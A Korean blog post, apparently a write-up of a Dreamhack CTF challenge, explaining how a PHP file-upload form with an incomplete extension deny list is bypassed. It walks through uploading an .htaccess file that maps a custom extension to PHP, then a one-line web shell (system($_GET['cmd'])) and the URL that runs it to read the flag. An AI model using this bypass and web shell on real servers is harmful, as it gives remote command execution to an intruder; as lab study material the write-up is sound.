본문 바로가기

웹해킹

드림핵 Apache htaccess 롸업

<html>
    <head></head>
    <link rel="stylesheet" href="/static/bulma.min.css" />
    <body>
        <div class="container card">
        <div class="card-content">
        <h1 class="title">Online File Box</h1>
        <form action="upload.php" method="post" enctype="multipart/form-data">
            <div class="field">
                <div id="file-js" class="file has-name">
                    <label class="file-label">
                        <input class="file-input" type="file" name="file">
                        <span class="file-cta">
                            <span class="file-label">Choose a file...</span>
                        </span>
                        <span class="file-name">No file uploaded</span>
                    </label>
                </div>
            </div>
            <div class="control">
                <input class="button is-success" type="submit" value="submit">
            </div>
        </form>
        </div>
        </div>
        <script>
            const fileInput = document.querySelector('#file-js input[type=file]');
            fileInput.onchange = () => {
                if (fileInput.files.length > 0) {
                const fileName = document.querySelector('#file-js .file-name');
                fileName.textContent = fileInput.files[0].name;
                }
            }
        </script>
    </body>
</html>

index.php 파일이다.

index.php에는 별 내용이 없고 그냥 upload.php를 form action으로 해서 파일을 업로드하는 폼인 것 같다.

<?php
$deniedExts = array("php", "php3", "php4", "php5", "pht", "phtml");

if (isset($_FILES)) {
    $file = $_FILES["file"];
    $error = $file["error"];
    $name = $file["name"];
    $tmp_name = $file["tmp_name"];
   
    if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
    }else {
        $temp = explode(".", $name);
        $extension = end($temp);
       
        if(in_array($extension, $deniedExts)){
            die($extension . " extension file is not allowed to upload ! ");
        }else{
            move_uploaded_file($tmp_name, "upload/" . $name);
            echo "Stored in: <a href='/upload/{$name}'>/upload/{$name}</a>";
        }
    }
}else {
    echo "File is not selected";
}
?>

upload.php 파일이다.

$deniedExts = array("php", "php3", "php4", "php5", "pht", "phtml");

파일의 확장자를 extension 변수에 담아서

if(in_array($extension, $deniedExts)){
            die($extension . " extension file is not allowed to upload ! ");

만약 deniedExts에 있는 문자와 겹치면 업로드를 못하게 막아놨다.

 

deniedExts에 있는 저 6개의 확장자만 피하면 어떤 파일이든지 업로드할 수 있다.

.htaccess 파일은 필터링에 안 걸리기 때문에 .htaccess 파일에 원하는 내용을 작성해서 업로드하면 된다.

AddType application/x-httpd-php .dddd

이런 내용을 .htaccess 파일에 담아서 업로드하면 dddd 확장자를 가진 파일도 php 스크립트처럼 실행을 시킬 수 있다.

이렇게 정상적으로 잘 올라간 것이 확인되면 이제 웹셸 코드를 작성해서 .dddd 확장자로 업로드를 하면 된다.

<?php
	system($_GET['cmd']);
?>

이 코드를 solve.dddd 파일로 만들어서 업로드한다.

업로드가 확인되면 url에서 업로드한 파일 위치로 가서 cmd에 /flag를 넣어주면 된다.

http://host3.dreamhack.games:19223/upload/solve.dddd?cmd=%22/flag%22

이 링크로 이동하면 flag를 얻을 수 있다.

'웹해킹' 카테고리의 다른 글

드림핵 phpreg 롸업  (0) 2023.12.19
드림핵 File Vulnerability Advanced for linux 롸업  (0) 2023.12.03
File Vulnerability Advanced  (0) 2023.12.03
드림핵 Command Injection Advanced 롸업  (0) 2023.12.03
Command Injection Advanced  (0) 2023.12.03